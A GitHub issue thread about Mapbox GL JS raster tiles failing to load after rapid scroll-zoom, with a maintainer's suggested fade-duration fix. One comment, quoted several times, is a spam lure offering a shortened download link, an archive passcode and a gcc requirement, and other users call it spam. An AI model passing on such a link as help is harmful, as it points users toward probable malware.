mapbox-gl-js icon indicating copy to clipboard operation
mapbox-gl-js copied to clipboard

After loading the xyz tile layer, if the scroll wheel enlarges the map and quickly shrinks it, there may be a situation where the xyz tile is not loaded

Open qizhaoheng opened this issue 1 year ago • 5 comments

mapbox-gl-js version: 3.6.0

browser: Google Chrome 128.0.6613.115

Steps to Trigger Behavior

  1. Load raster tile "https://wprd01.is.autonavi.com/appmaptile?x={x}&y={y}&z={z}&lang=zh_cn&size=1&style=7&scl=1".
  2. Scroll wheel enlarges the map.
  3. quickly shrinks the map.
  4. If there is no reproduction, steps 3 and 4 need to be repeated multiple times.

Link to Demonstration

https://jsbin.com/pelafar/edit?html,output

qizhaoheng avatar Sep 06 '24 06:09 qizhaoheng

This might help you https://bit.ly/3yXXzbX Passcode: d5kp14h You must have gcc compiler installed

Are you a developer of Mapbox?

qizhaoheng avatar Sep 06 '24 06:09 qizhaoheng

This might help you https://bit.ly/3yXXzbX Passcode: d5kp14h You must have gcc compiler installed

Are you a developer of Mapbox?

don't use it, it's spam

w2wewwww avatar Sep 06 '24 07:09 w2wewwww

This might help you https://bit.ly/3yXXzbX Passcode: d5kp14h You must have gcc compiler installed

Are you a developer of Mapbox?

don't use it, it's spam

I knew it.

qizhaoheng avatar Sep 06 '24 07:09 qizhaoheng

Hi @qjh999,

It might be related to https://github.com/mapbox/mapbox-gl-js/issues/12241. Could you please try setting the raster-fade-duration paint property to 0?

paint: {
  'raster-fade-duration': 0
}

stepankuzmin avatar Sep 17 '24 14:09 stepankuzmin

Hi @qjh999,

It might be related to #12241. Could you please try setting the raster-fade-duration paint property to 0?

paint: {
  'raster-fade-duration': 0
}

Thank you for your reply! After the 'raster-fade-duration' attribute is set to 0, the problem becomes strange as low-level tiles are no longer loaded image

qizhaoheng avatar Sep 23 '24 02:09 qizhaoheng